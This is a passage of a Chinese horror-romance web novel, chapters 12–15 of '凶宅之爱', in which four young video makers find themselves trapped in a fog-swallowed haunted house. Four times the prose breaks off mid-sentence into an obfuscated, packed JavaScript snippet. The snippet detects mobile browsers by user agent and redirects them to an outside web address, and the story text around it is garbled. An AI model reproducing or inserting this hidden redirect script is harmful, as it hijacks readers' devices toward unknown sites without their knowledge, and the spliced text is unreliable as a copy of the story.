不过几秒钟，楼下已经陷入了一片死寂，那是比任何声音都要可怕的安静。 刚才的谈笑风生，妈妈的惨叫，都像是一场短暂的、荒谬的幻觉。 但空气中弥漫开的那种无形的、令人头皮发麻的东西，真实得让人窒息。 他的手不受控制地开始颤抖，一种原始的、对于致命危险的直觉让浑身的汗毛都倒竖起来，也制止了他想要开门的手。 动不了。 身体像是被钉在了原地。 然后—— “嗒……嗒……嗒……” 缓慢而清晰的脚步声，从浴室外的楼梯传来，不疾不徐，带着一种令人牙酸的规律，正朝着浴室的方向靠近。 每一步，都像是踩在脆弱的心脏上。 他猛地向后退，后背重重撞上冰冷的瓷砖墙壁。 脚步声，在浴室门外，停住了。 门外，一片死寂。 门内，只有自己粗重、惊恐的喘息，和那颗快要炸开的心脏在疯狂跳动的声音。 在极度恐惧的注视下—— 浴室门的金属把手，缓缓地、带着一种近乎可恨的平静，被人从外面拧动了。 “咔……” “啊！” 姜眠猛地惊醒，从床上坐了起来。 她喘着气，明媚的阳光透过窗棂落在她的被子上，但梦中那样绝望的恐惧感如有实体，依旧挥之不去。 她下意识动了动身体，立刻感觉到不对劲—— 昨晚穿着的白色棉质睡裙，此刻正湿哒哒、沉甸甸地贴在皮肤上，又凉又黏，像刚淋过一场小雨，布料吸饱了水汽裹在身上，勾勒出纤细的腰线和微微起伏的胸口。 她不舒服地皱了皱眉，伸手往身下摸了摸，床单也是潮乎乎的。 ……为什么会是湿的？这屋子…也没漏雨吧？ 12. 《凶宅之爱》 “醒了？”旁边传来沈成济略带沙哑的声音。 姜眠一扭头，发现其他三人都已经醒了，或坐或站，目光或多或少都落在她身上。 沈成济盘腿坐在铺盖上，头发乱糟糟的，眼神却清亮，正一眨不眨地看着她。柳缙靠墙坐着，手里拿着个本子，像是在写写画画，但视线也时不时瞟过来。谷弘则已经收拾好了自己的地铺，正站在窗边往外看，听到动静，回头淡淡扫了她一眼。 被这么多人盯着，尤其是还穿着这身湿透了的睡衣，姜眠不舒服地蹙眉，心里那股娇气劲儿又上来了。 “为什么我的衣服是湿的……好难受。” 她抿着唇，用手揪着紧贴在大腿根的裙摆，试图把它扯开点，但那湿布料就跟黏住了一样，一动就牵扯着底下凉飕飕的皮肤。 她得换衣服。 这么想着，姜眠也顾不上姿势雅观了，轻手轻脚地从被窝里爬起来，去找自己的行李箱。 她睡在最里面，要出去，就要先蹭过长长的通铺。刚醒来，手脚还有些发软，小心翼翼地先抬起一条腿，膝盖跪在铺盖卷之间的缝隙里，动作有些笨拙，摇摇晃晃。 湿裙子黏在皮肤上，动作间发出细微的摩擦声，蹭过坐在一旁的沈成济的小腿，留下一片微凉的湿意。 沈成济看着她那副跟湿衣服较劲、又努力想保持点形象的样子，想问她衣服怎么湿成这样，话没说出来，喉咙有点发干。 晨曦的光线朦朦胧胧地照在她身上，湿透的白棉布几乎变得半透明，隐约透出底下细腻的肉色。 她弯腰去够行李箱的拉链时，腰肢塌下去一个柔软的弧度，臀线被湿布料绷得紧紧的，显得软塌塌的。 他有些不自在地移开视线，感觉耳朵根有点热。 柳缙也被她的动静弄得没法看剧本，不得不去在意她。他状似不经意地看过去的时候，正好看到姜眠弯着腰从床上爬起来时，紧绷的裙摆线条，以及那些布料湿透后若隐若现的弧度。他喉结不自觉地滚了一下，像被烫到了似的迅速移开目光，心里莫名有点烦躁。 而离她最远的谷弘，其实在她醒来之后就一眨不眨地看着她。他的视线落在她汗湿的后颈上，那里几缕发丝黏在白皙的皮肤上，再往下，是湿透的睡衣紧紧包裹着的，微微颤抖的脊背。 他的眼神平静而深邃，看不出什么情绪，只是放在身侧的手，微不可察地蜷缩了一下。 姜眠却完全没留意他们的目光，她现在满心满眼都是赶紧换掉这身湿衣服。 她慢吞吞爬到了床的边缘，手指勾住放在墙那边的行李箱的拉链，“哗啦”一声拉开一条缝隙—— 然后她愣住了。 箱子里空空如也。 昨天她虽然嫌弃，但还是塞得满满当当的那些暴露小短裙全部不见了，只剩下那些化妆品、零食、书本……原本塞得满满当当的行李箱莫名空了一半。 “……我衣服呢？”姜眠喃喃道，有点不敢相信地又伸手进去摸了一圈，指尖触到的只有冰凉的塑料内衬。“怎么不见了？” “什么不见了？”柳缙放下本子凑过来。 “衣服……我行李箱里的衣服，全没了！” 姜眠抬起头，脸上带着刚睡醒的懵然和难以置信，声音都不自觉地拔高了一点。她穿着那身湿透的睡裙，蹲在空箱子前，看起来莫名有种被人洗劫一空的可怜。 沈成济皱起眉，也走了过来，低头看着那个空箱子：“你确定都放在这里面了？” “我确定！我昨天还整理过！” 姜眠有点急了，她下意识地抱紧手臂，湿冷的布料贴着手臂皮肤，激起一阵鸡皮疙瘩。 失去所有换洗衣物的认知，让她心里那点因为天亮而暂时压下去的恐惧又冒了头。 在这个前不着村后不着店的鬼地方，连件干衣服都没了，这感觉糟糕透顶。 柳缙看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712157|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她微微发白的脸色和湿漉漉贴在脸颊边的发丝，不由得放软了声音：“别急，再找找，是不是放别的地方了……” 他说着，目光滑过她因为潮湿而更显白皙的脖颈和锁骨的线条，又猛地移开，“总之，总不能凭空消失吧……？” 一直没说话的谷弘这时走了过来，他没什么表情，只是弯腰提起那个只装了半满的箱子，又里外仔细看了一遍，然后平静地开口：“真的不见了。” 他顿了顿，看向姜眠，“你昨晚睡下后，有没有听到什么动静？” 姜眠茫然地摇头，她昨晚抱着谷弘的胳膊，后来居然睡得挺沉——如果不算那个噩梦的话。 沈成济抓了抓头发，表情有点烦躁，不只是为这诡异的状况，也为心里那点说不清道不明的焦躁。 他看着姜眠抱着胳膊、微微发抖的样子，那湿衣服像第二层皮肤一样贴着她，勒出胸前柔软得像是两座小山包似的弧度，腰细得仿佛一手就能握住。 他移开目光，语气有点硬邦邦地说：“先别管衣服了，你怎么浑身是湿的？你去……呃，找个干毛巾擦擦，别感冒了。” 姜眠却没领情，她瘪着嘴，带着点委屈和迁怒：“都怪你！非要来这个鬼地方拍什么视频！现在好了，我的衣服都被鬼偷走了！” 她越想越气，又想起昨晚在二楼主卧的遭遇，眼圈都有点红了。 沈成济被她噎得说不出话，想反驳，又看她那副可怜兮兮的样子，最终只是烦躁地“啧”了一声。 谷弘放下箱子，视线在姜眠湿透的睡衣和空行李箱之间扫了个来回，眼神里没什么波澜，只是淡淡道：“情况不太对。衣服不会凭空消失。” 他的话像一块冰，让空气中那点微妙的暧昧和焦躁瞬间冷却下来，重新被一种无形的不安笼罩。 姜眠看着空荡荡的行李箱，又低头看看自己这身湿透黏腻的睡裙，一股寒意顺着脊椎爬了上来，比刚才湿衣服贴在身上时更冷。 13.《凶宅之爱》 就在这时，一只温热的手掌轻轻拍了拍她单薄的肩膀。 她受惊般回头，看到沈成济不知何时站到了她身后。他脸上没什么害怕的表情，反而带着一种让人安心的镇定。 “先别自己吓自己，”他开口，声音比刚才柔和了不少，“急也没用。” 姜眠仰头看着他，眼睛因为刚才的惊吓和委屈还有点湿漉漉的，像只被雨淋透了找不到家的小猫，带着点茫然和无助。几缕黑发黏在她白皙的脸颊边，更显得皮肤透白，脆弱得好像一碰就会碎掉。 ……明明之前那么可恶，理直气壮地污蔑他又出尔反尔不跟他睡一起，但害怕的时候，又一副可怜的样子。 沈成济心头莫名一软，语气又放缓了些：“我记得昨天跟出谷弘去的时候，在房子外面的灌木丛上，好像看到挂着一件你的衣服。虽然不知道是怎么跑到那里去的，但现在这情况……也顾不上那么多了。我帮你拿回来换上，总不能一直穿着湿的。” 他顿了顿，看向窗外：“顺便再看看，能不能找到出去的路。” “我也跟你一起去。”谷弘开口，“一个人去不安全。” 眼下确实没有更好的办法了。姜眠吸了吸鼻子，小声说：“……那，你小心点。” “嗯，”沈成济应了一声，动作有点笨拙地脱下自己身上那件薄外套，伸手披在了姜眠肩上，“你先穿着这个，总比湿的强。” 外套上还带着他体温的热气，瞬间驱散了湿衣服带来的寒意，一股干净的、属于年轻男生的阳光气息包裹住她。姜眠下意识地抓紧了外套的前襟，把自己裹紧了些。 “我……我和昨天一样，留下来陪她等你们。”柳缙在一旁开口，眼神在姜眠裹着沈成济外套的身影上停留了一瞬。 沈成济点了点头，和谷弘交换了一个眼神，两人便转身朝外走去。 推开那扇沉重的门，外面依然是那个荒草丛生的花园。 这房子的布局很微妙，大门离房子不远，但门口种着一片半人高的杂乱灌木，像一道天然的屏风，挡住了部分视线，得绕过这片灌木丛才能看清大门和更远处的情况。 沈成济走在前面，三两步绕过碍事的灌木枝桠—— 他一眼就看到了那抹挂在枯枝上的白色，正是昨天见过的那条裙子。 “找到了。”他松了口气，没多想，伸手就把衣服从树枝上取了下来。柔软的布料一入手，带着清晨露水的微凉潮气，他这才后知后觉地意识到这是什么，手指像被烫到一样蜷了一下，耳根悄悄漫上一点热意，赶紧把衣服胡乱卷了卷抓在手里。 跟在后面的谷弘没什么表情地扫了他一眼，脚步没停，一边继续往前走，一边淡淡丢过来一句：“还能穿吗？” 沈成济：“……” 他被噎了一下，脸上更热了。 谷弘往前走了几步，没听到回应，回过头，目光平静地落在他手里攥着的衣服上，又补充道：“今早雾大。这衣服要是湿透了没法穿，她就只能穿你昨天‘保管’起来的那件了。” “等等，你胡说什么呢！”沈成济像被踩了尾巴的猫，声音都不自觉地扬高了八度，“这、这明明是她自己非要那么说，我、我不过就是……” 他试图辩解，话却卡在喉咙里，有点气急败坏，“……就是顺了她的意而已！” 他的声音戛然而止。 谷弘也停下了脚步。 两人几乎是同时僵在原地，目光直直地投向正前方—— 原本应该是锈迹斑斑大铁门的地方，此刻空空如也。 取而代之的，是和他们身后如出一辙的、荒芜破败的花园景象，野草肆意生长，甚至比房子周围的更加茂密。 而更远处，一切都被一种浓得化不开的、死气沉沉的白雾所吞噬。 围墙、远处的房屋和道路、更远处的山峦……所有熟悉的参照物都消失了，仿佛整个世界都被这片诡异的白雾抹去，只剩下他们身后这栋孤零零的鬼宅，是这片混沌中唯一真实的存在。 沈成济愣愣地看着眼前这超现实的一幕，脸上的红晕和窘迫瞬间褪得干干净净，只剩下一种近乎荒诞的茫然。 他嘴角扯动了一下，想笑，却只发出一个干涩的气音。 “……我现在真的信了，”他喃喃道，声音里带着点不易察觉的颤抖，“这世上……恐怕真有鬼。” 说着，他动作有些僵硬地从裤兜里掏出手机，手指划过屏幕，点开了录像功能，将镜头对准了前方那片吞噬一切的白雾，以及白雾前这片本不该存在的、无限延伸的花园。 冰冷的电子设备，忠实地记录下这令人头皮发麻的景象。 如果他还能离开这里，不知道有没有人会相信这段经历、这段视频。 …… 沈成济和谷弘回到房子里，两人脸上的表情都比出去时凝重了不少。 “给，你的衣服。”沈成济把手里的白裙子递给还裹着他外套的姜眠，声音有些低沉，低声对两人说，“外面…情况不太妙。” 姜眠接过那件带着清晨潮气的裙子，手指无意识地攥紧了柔软的布料。她看了一眼书房的方向，又看了看空荡荡的二楼，脚步迟疑地挪了一下，最终还是钉在了原地。 等等，不行，不能一个人待着。那些恐怖片里，落单的人总是最先倒霉的，更何况是单独换衣服这种经典作死桥段。 万一她换衣服的时候“被失踪”了怎么办？ 她漂亮的眉毛蹙起，脸上带着明显的不情愿和一丝不易察觉的慌乱。 “喂，”她突然开口，声音带着点娇横，却又因为底气不足而显得有些虚张声势，“沈成济，你跟我过来。” 沈成济一愣：“干嘛？” “你说干嘛？”姜眠理直气壮地瞪他，只是那眼神湿漉漉的，像受了惊吓的小动物，削弱了她刻意装出来的强势，“我换衣服，你不得在门口守着？万一……万一我换到一半，‘那个’来了怎么办？” 她不敢在这里直接说“鬼”，就好像那东西正在旁边看着她似的。 但即使是这样，说完，也打了个寒颤，下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716266|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地把他的外套裹得更紧了些，纤细的手指揪着衣领，指节都有些发白。 她伸出细白的手指，轻轻拽了拽他的袖子，力道不大，却让人无法忽视。 这个时候，她又顿了顿，放软了声音：“好吧。就在门口，我不关门，你……你就站在外面，跟我说说话，行吗？” 她这副样子，活像一只明明怕得要死，却还要强撑着竖起毛虚张声势的猫崽，又娇气又可怜，让人硬不起心肠拒绝。 沈成济被她这直白又依赖的请求弄得一愣，耳根又开始隐隐发烫。他想说这不合规矩，想说他一个大男人站在女孩换衣服的门口像什么样子，但对上姜眠那双湿漉漉的、仿佛他不答应立刻就能气炸毛的眼神，那些话就卡在喉咙里，一个字也吐不出来。 旁边的柳缙顿了顿，忍不住插嘴道：“姜眠，这……这不合适吧？要不我……” “不要！”姜眠立刻打断他，抓着沈成济袖子的手更紧了些，好像生怕他跑了似的，眼睛依旧固执地望着沈成济，“我就要他陪。沈成济，我都喜欢你了，你不能不理我。” 这话说得好没道理，姜眠暗恋他也不是一时半刻的事儿，往日里提起这件事，沈成济只觉得心烦。 但此刻，他却莫名地想起了昨天晚上，他给姜眠收拾东西时，姜眠对着他说的那句“喜欢”。 姜眠顿了顿，大约是见沈成济没什么表示，又接着说：“而且你答应过我的……你说下次会乖乖让我抱的……” 她这话说得含糊，带着点委屈的鼻音，像是在翻白天的旧账，又像是在强调某种专属的特权。 沈成济喉结滚动了一下，感觉自己好像被什么无形的东西拿捏住了。他有些狼狈地避开她灼人的视线，含糊地“嗯”了一声，算是妥协。 “走吧。”他声音有点哑，任由姜眠牵着他一点袖子，朝着书房走去。 谷弘站在原地，面无表情地看着两人的背影。柳缙则撇了撇嘴，小声嘀咕了一句：“……凭什么啊。” 走到书房门口，姜眠松开他的袖子，抱着衣服闪身进去，果然如她所说，没有关门，留了一条不小的缝隙。 沈成济僵硬地背对着门口站着，能清晰地听到身后传来窸窸窣窣的布料摩擦声，偶尔夹杂着她因为动作而发出的、细微的吸气声。他的后背像是绷紧的弦，连呼吸都不自觉地放轻了。 “沈成济……”里面传来姜眠闷闷的声音，带着点不易察觉的颤抖，“你、你别走远啊。” “……没走。”他应了一声，声音干巴巴的。 “外面……真的什么都看不见了吗？”她又问，试图用对话驱散恐惧。 “嗯，全是雾。”他回答，目光落在走廊斑驳的墙壁上，努力忽略身后那些令人心浮气躁的细微声响。 短暂的沉默后，里面传来她带着点抱怨的娇气声音：“这裙子……后面好像有点勾住了，好难弄……” 沈成济闭了闭眼，感觉自己额角在跳。他深吸一口气，尽量让自己的语气听起来正常：“……你慢慢弄。” 14.《凶宅之爱》 书房里，窸窸窣窣的声音停了片刻，紧接着传来姜眠带着点焦急和示弱的声音：“沈成济……你、你能进来一下吗？” 沈成济靠在门框上的身体微微一僵：“……怎么了？” “这裙子后面的拉链，好像卡住了，我弄不好……”她的声音比刚才软了不少，带着点显而易见的无助，“我一个人有点怕，你进来帮帮我，好不好？” 这难得放软的语调让沈成济心头动了一下。虽然知道姜眠本性绝对不是如此，他还是犹豫着，还是推开了那扇虚掩的门。 他刚踏进去，身后的门就“砰”一声被关上了！还没等他反应过来，姜眠就凑近了一步，几乎贴到他身前，仰着脸看他，逼得他只能靠在门板上，动弹不得。 她用力推了一把他，把他压在门板上，伸出细白的手指，抓住了他胸前的衣料，像是怕他跑了。 沈成济这才后知后觉地意识到，他又被骗了。这裙子哪里有什么拉链？只是他太害羞，没敢仔细看。 姜眠按着他，动作是理直气壮的，语气却十分柔软。 “沈成济，”她声音轻轻的，带着点依赖，“在这里我真的很害怕……你得保护我，行吗？要是遇到危险，你得帮我……” 她顿了顿，似乎觉得光说不够，又小声补充了一句，带着点哄人的意味：“你答应我的话……之后、之后我可以考虑跟你一起睡的……” 沈成济后背抵着微凉的门板，看着她近在咫尺的、带着恳求的漂亮脸蛋，感受着她抓着自己衣料的细微力道，心脏不争气地加速跳动，耳根也悄悄热了起来。 但这一次，那股熟悉的、被她牵着鼻子走的羞窘感刚冒头，另一个念头就像闪电般劈中了他——她现在有求于他。 这个认知像是一把小钥匙，瞬间打开了他脑子里某个开关。他看着她微微泛红的脸颊和闪烁的眼神，忽然觉得，自己好像……可以谈点条件？ ……从夹缝里寻找机会，那可是他的老本行。 那股被拿捏的被动感奇异地消散了一些，取而代之的是一种微妙的、想要扳回一城的冲动。 他清了清嗓子，努力压下脸上的热意，目光闪烁了一下，没有立刻答应，反而故意拖长了语调：“保护你啊……也不是不行。” 姜眠眨了眨眼，有些期待地看着他。 沈成济像是下了什么决心，眼神飘忽了一下，羞窘之中，一股莫名的、带着点叛逆的冲动忽然窜了上来。 他想起今早被谷弘“嘲笑”的那件事，想起对方似笑非笑，仿佛看透了一切的眼神，深吸一口气，像是豁出去了般，猛地将藏在裤兜里的手抽了出来——手里攥着的，正是昨天他从二楼浴缸里“顺”走的那条黑色短裙。 “那你把这个送给我。”他把裙子递到她面前，声音不大，却带着一种之前没有的、直接的要求，“你答应，我就答应保护你。” 话一出口，两个人都愣住了。 沈成济自己也懵了，他本来想说的是“这件裙子还给你，以后你不许再污蔑我是变态，你对我好一点”。 姜眠彻底愣住了，眼睛睁得圆圆的，看看他，又看看他手里那团熟悉的黑色布料，仿佛无法理解这突如其来的转折。送、送他裙子？还是这种款式的？ 等等等等……这不是她昨天丢的那一件裙子吗？！真的在沈成济的手里？真的是他偷的？？？ 她倒吸了一口凉气，还没发出声音，沈成济自己先反应过来了，脸上瞬间爆红，慌得想把裙子收回来：“等等！我不是……我是说……” “变态！！！” 姜眠终于回过神来，又羞又气，脸上红得像要滴血，也顾不上有求于人了，用力一把将他推开。 “你滚出去！！！” “砰”地一声巨响，书房门再次在沈成济面前狠狠摔上，震得门框都仿佛抖了抖。 沈成济被推得踉跄一步，手里还紧紧攥着那条“罪证”，一抬头，就对上客厅里柳缙和谷弘齐刷刷投来的目光。 柳缙的表情像是吞了个鸡蛋，震惊又带着点“你完了”的意味。 谷弘依旧没什么表情，只是挑了挑眉，目光在他手里那抹显眼的黑色上停顿了一秒，然后若无其事地移开，仿佛在研究墙壁上的纹路。 沈成济僵在原地，感觉自己像个被当场抓获的蠢贼，脸上火辣辣的。 …… 片刻后，姜眠换好了那身白裙子走了出来，脸颊还带着点未褪尽的红晕，她瞪了沈成济一眼。 沈成济还试图解释一下：“那个，这个衣服是、是我们在二楼发现的，不是我偷的！不信你问谷弘……谷弘？” 谷弘低着头看手上的手机，没看他，大概是不想给他这个“变态”做证明的意思。 “谷弘？”沈成济急得要抓耳挠腮了，“谷弘！你快说句话啊！” 谷弘抬起头来，他表情很镇定，开口，说得却是：“我手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721056|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有信号了。” 他举起自己的手机，屏幕上方确实显示着一格微弱的信号。 “真的！”柳缙立刻掏出自己的手机，“我这也有一格！” 站在窗边的谷弘打开窗，他们的希望才刚刚升起，却被窗外的景象瞬间压垮——浓得化不开的白雾依旧顽固地笼罩着一切，甚至更近了，视野范围连花园都看不到了，更别说离开这里的路。 沈成济脸上的那点不自然立刻消失了，他快步走到谷弘身边，眉头紧锁地看着那格脆弱的信号，眼神锐利起来。 “都别慌。”他的声音带着一种让人安心的力量，“你们来报警，也可以打电话给其他你们相信的人，警察未必信我们。我联系房东。” 他语速很快，条理清晰，瞬间稳住了场面。他拿出手机，手指在屏幕上快速敲击，直接拨通了房东的电话，但听筒里只传来忙音。他立刻挂断，转而点开聊天软件，幸运地，消息框上方显示着“正在连接”。 他飞快地打字： 【李叔，你现在在哪里？】 【李叔，我们被困在宅子里了。这里真的有鬼，我们走不出去了，报警恐怕不会有人相信，请你带人来救我们。】 另一边，姜眠也急忙拨打报警电话，她把手机紧紧贴在耳边，能听到自己过快的心跳声，但听筒里只有规律的“嘟——嘟——”忙音，始终无人接听。 她的目光不由自主地飘向沈成济的手机屏幕。 他按下发送键。 最后那条求救信息前面，瞬间出现了一个小小的、不断旋转的灰色圆圈。 那圆圈转啊转，慢得折磨人，仿佛不是在加载信息，而是在他们紧绷的心弦上跳舞，每转一圈，都牵扯着所有人的呼吸。 客厅里安静得可怕，只剩下几不可闻的呼吸声和那个无形圆圈转动的声音。 终于—— “咻”的一声轻响，伴随着一个短暂的“已发送”提示，那个折磨人的圆圈消失了！ 消息发送成功了！ “成功了！”柳缙第一个喊出来，声音里带着如释重负的激动。 姜眠也长长舒了一口气，感觉一直揪着的心脏稍微落回去了一点。 沈成济脸上却没什么喜色，他立刻尝试再次发送消息确认，但手指刚落下，屏幕上就弹出一个刺眼的红色感叹号——信号，又消失了。 几乎同时，另外三人的手机也彻底失去了那微弱的连接格。 15.《凶宅之爱》 虽然信号只出现了短短一瞬，但那条至关重要的求救信息，确确实实发出去了。 这就已经足够振奋人心了，至少他们有了一个希望，他们不是孤立无援的了，有人会来救他们，而他们只要等待就行了。 “行了，”沈成济收起手机，率先打破了沉默，他拍了拍手，努力让气氛轻松些，“求救信号发出去了，李叔看到肯定会想办法。现在嘛……” 他又低头看了一眼手机的时间，这么一通折腾，马上就要到饭点了。他笑道：“天大地大，吃饭最大。” 他环顾了一下四周，目光落在他们带来的那几个大箱子上：“我们带了不少吃的，但蔬菜和肉放不住，先把这些解决掉。正好，原来的拍摄计划里也有在‘鬼宅’做饭的环节。” 他分配任务干脆利落：“柳缙你把便携燃气炉和锅具找出来。谷弘把摄像机架起来吧，还是记录一下。”他自己则走到堆放食材的箱子前，拿出几样蔬菜和一块肉，又取了瓶所剩不多的矿泉水，动作麻利地开始清洗处理。 姜眠看着他挽起袖子，熟练地洗菜切肉，那副居家好男人的模样，跟之前那个爱财、有点痞气又会被她几句话噎住的青涩大学生判若两人。 普通的大学生，可不会这么熟练地蒸饭做菜。当然，也不会在这种情况下想到自己做饭——吓都要吓死了。 她忍不住凑近两步，小声问：“都这时候了……还要拍啊？” 沈成济正低头切着西红柿，闻言头也没抬，手下动作不停，语气很平静：“拍。只要记录下来，就算……就算我们最后真的没能离开这里，至少也会有人知道，我们在这里经历过什么。” 他说完，才抬起头，看向谷弘已经架好的摄像机镜头。他脸上没什么特别的表情，甚至对着镜头露出一个一如既往的、带着点阳光气的笑容。 “大家好，我是沈成济。”他对着镜头开口，声音平稳，将昨晚姜眠在二楼的遭遇、今早全员被困、衣物离奇消失、以及刚才那转瞬即逝的信号和发出的求救信息，清晰而客观地快速叙述了一遍。 和以往他故意做出的那种恐怖节目效果不同，这一次，他没有添油加醋，只是陈述事实。 说完这些，他话锋一转，笑容重新变得明朗起来，带着点他特有的、不知天高地厚的劲儿： “按照原计划，我们现在要在这里做一顿饭。不过现在情况有点不一样了，我们已经确定，这宅子里确实有‘那个’。” 他故意拖长了语调，眼神里闪着光，“所以——我们这算不算是……第一批敢在鬼面前开火做饭的人？” 他这话带着点苦中作乐的调侃，试图驱散弥漫在空气中的不安。 旁边的柳缙正摆弄着餐具，闻言忍不住插嘴吐槽：“得了吧你，我记得有个‘鬼妈妈给孩子做饭’的都市传说，要是真的，你早不知道排到第几号了！” 这突如其来的拆台让众人都是一愣，随即，姜眠第一个没忍住，“噗嗤”一声笑了出来，沈成济也摇头失笑，连一向没什么表情的谷弘，嘴角都似乎微不可察地弯了一下。 短暂而真实的笑声，像一阵微风，暂时吹散了笼罩在众人心头的厚重阴霾。 破旧而阴森的客厅里，锅中的水开始发出细微的声响，食物的香气渐渐弥漫开来，带来了一丝久违的、属于人间的烟火气。 …… 简单吃过东西，胃里有了着落，但被困的茫然感依旧挥之不去。四个人没什么事做，便靠坐在客厅的地铺上，各自刷着手机里缓存的内容，或是试图寻找那不知何时会再次出现的微弱信号。 姜眠摆弄着手机，想着看看这个“自己”以前的社交动态，好歹了解一下原身的情况。她点开那个眼熟的视频软件图标，加载了一会儿，居然真的进去了她的个人主页。 好家伙，粉丝数量还挺可观。 她点进自己的主页看了一下，除了团队的宣发和视频，还有很多个人的照片、视频，甚至还有发的牢骚和日常生活。 看来另一个她是没有分大号小号的习惯，就直接用大号在网上冲浪了。 她随手点开私信列表，想看看有没有什么有趣的信息。 结果这一看，她眉头就皱了起来。 私信里塞满了各种不堪入目的言论，粗鲁的、嘲讽的、人身攻击的，密密麻麻。 【又是这个作精，每期视频就属她戏多。】 【真受不了，胆子这么小就别拍灵异探险啊，一惊一乍的烦不烦，跟个傻子一样。】 【除了会尖叫拖后腿还会干嘛？建议团队踢了她。】 姜眠划拉着屏幕，越看眉头皱得越紧。这些骂声，大多都是冲着她在视频里的表现，可那些视频里她的很多反应都是剧本设计好的。 她心里有点无语。 明明这里的其他人也有被设计到类似的剧情，可其他人从来不像她这样被骂得这么厉害。 而且，“笨蛋美人”这个剧本，他们也在其他探险视频里请过客串的男演员来演，可是他们只骂她又蠢又作，对着拿同样剧本的男人却叫宝宝。 “嘁。”她撇了撇嘴，小声嘀咕，“一群看不懂剧本的笨蛋。” 没有网络，并不影响她输出。她心里那点小脾气上来了，点开一条骂得尤其难听的私信，手指在屏幕上噼里啪啦地敲打起来，把自己那点被无辜咒骂的不爽和娇气劲儿全倾泻在了回复框里。 【胆子小怎么了？胆子小不能看恐怖片吗？！节目效果看不懂建议重修小学语文去吧：）】 【我就乐意尖叫，队长都没说什么，轮得到你在这指手画脚？】 【我站那儿就是收视率保证，黑红也是红！】 “发送！” 她习惯性地点击发送键，本来没抱什么希望—— 手机轻微震动了一下，消息发送成功的提示竟然跳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725451|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来！ 姜眠愣住了，下意识地看向手机顶部的信号栏——依旧是一片空白，没有任何信号标识。她又试着给沈成济发消息，果然，转了半天圈，最后弹出一个红色的失败提示。再试着拨打报警电话，依旧是忙音。 奇了怪了，求救消息发不出去，电话打不通，但是……怼黑子的评论，居然能发出去？ 这诡异的状况让她一时有点懵。 “怎么了？”沈成济注意到她对着手机一脸古怪的表情。 姜眠抬起头，眨了眨眼，表情有点无辜，又带着点发现了什么奇怪事情的兴奋：“好像……能上网了？但又没完全能上。” 柳缙凑过来：“什么意思？” “就是，求救消息发不出去，电话也打不了，”姜眠举起手机，指了指屏幕上她刚刚成功发送的那几条怼人评论，“但是跟黑子吵架……好像可以。” 其他人：“……” 这算什么？鬼宅特色服务？ 谷弘也抬眼看了看，脸上没什么表情，只是眼底闪过一丝几不可察的讶异。 “哼，肯定是连鬼都看不下去他们这样骂我！”姜眠气呼呼地道。 “噗，”柳缙第一个没忍住笑出声，“这鬼地方还挺有原则？只准骂街，不准求救？” 沈成济也是哭笑不得，摇了摇头。 姜眠才不管那么多，她本来就觉得憋屈，现在找到了一个发泄口，虽然用处不大，但好歹能让她舒坦点。她盘腿坐好，把手机往膝盖上一放，理直气壮地说：“反正现在也出不去，闲着也是闲着。” 然后，她就真的低下头，专心致志地开始跟网上的黑子“交流”起来。 她手指灵活，打字飞快，怼得毫不客气，逻辑清晰，偶尔还带点气死人不偿命的俏皮，丝毫不见平时那副娇气包的样子，反而像只被惹毛了、竖起绒毛勇敢反击的小猫，明明是在“战斗”，偏偏那鼓着腮帮子认真打字的模样，透着一种莫名的可爱。 沈成济看着她这副样子，想说什么，最终只是哭笑不得地随她去了。柳缙更是看得津津有味，偶尔还凑过去给她“指点”两句，被她不耐烦地推开。 空旷破败的鬼宅客厅里，一时只剩下她噼里啪啦的打字声。 谷弘摆弄着笔记本电脑，忽然“唔？”了一声。 “怎么了？”沈成济探头过去。 “之前剪辑好的预告片，还有……我们第一晚拍的一些素材，”谷弘指着屏幕上显示的已发送状态，“好像趁着刚才那个奇怪的网络窗口，一起发出去了。” 柳缙来了兴趣：“那正好看看反响！反正现在也干不了别的。” 姜眠本来没什么兴致，撇撇嘴：“有什么好看的，肯定又是骂我。” 